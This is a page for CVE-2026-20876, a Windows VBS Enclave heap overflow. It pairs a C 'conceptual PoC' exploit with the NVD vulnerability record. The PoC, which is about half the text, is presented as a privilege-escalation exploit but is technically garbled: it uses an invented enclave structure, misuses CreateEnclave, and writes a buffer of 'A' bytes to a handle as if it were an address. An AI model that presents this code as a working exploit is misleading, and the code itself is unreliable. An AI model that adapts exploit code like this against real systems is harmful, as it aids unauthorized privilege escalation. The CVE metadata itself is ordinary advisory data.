CVE-2026-20876

// CVE-2026-20876 PoC - Windows VBS Enclave Heap Overflow EoP // This is a conceptual PoC for educational purposes only #include <windows.h> #include <winternl.h> // VBS Enclave related structures typedef struct _ENCLAVE_CREATE_INFO { DWORD Size; DWORD Flags; PVOID EntryPoint; PVOID StackCommit; PVOID HeapReserve; DWORD Reserved; } ENCLAVE_CREATE_INFO, *PENCLAVE_CREATE_INFO; // Trigger the heap overflow in VBS Enclave BOOL TriggerVBSEnclaveOverflow(LPSTR mal_input, DWORD input_size) { HANDLE hEnclave = NULL; ENCLAVE_CREATE_INFO enclaveInfo; // Initialize enclave creation info RtlZeroMemory(&enclaveInfo, sizeof(ENCLAVE_CREATE_INFO)); enclaveInfo.Size = sizeof(ENCLAVE_CREATE_INFO); enclaveInfo.Flags = 0; enclaveInfo.StackCommit = (PVOID)0x1000; enclaveInfo.HeapReserve = (PVOID)0x1000; // Create enclave with malicious input // The vulnerability exists in enclave handling of oversized input BOOL result = CreateEnclave( GetCurrentProcess(), NULL, 0x10000, 0x100000, ENCLAVE_TYPE_VBS, &enclaveInfo, sizeof(enclaveInfo), &hEnclave ); if (result && hEnclave) { // Send oversized data to trigger heap overflow SIZE_T bytesWritten = 0; WriteProcessMemory( GetCurrentProcess(), (LPVOID)hEnclave, mal_input, input_size, &bytesWritten ); } return result; } // Main exploitation function int main() { // Prepare malicious payload // Trigger heap overflow by sending oversized data char payload[8192]; memset(payload, 0x41, sizeof(payload)); // 0x41 = 'A' TriggerVBSEnclaveOverflow(payload, sizeof(payload)); return 0; }

{"cve": {"id": "CVE-2026-20876", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:17.650", "lastModified": "2026-01-15T21:28:22.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Desbordamiento de búfer basado en montículo en el Enclave de Seguridad Basada en Virtualización (VBS) de Windows permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20876", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}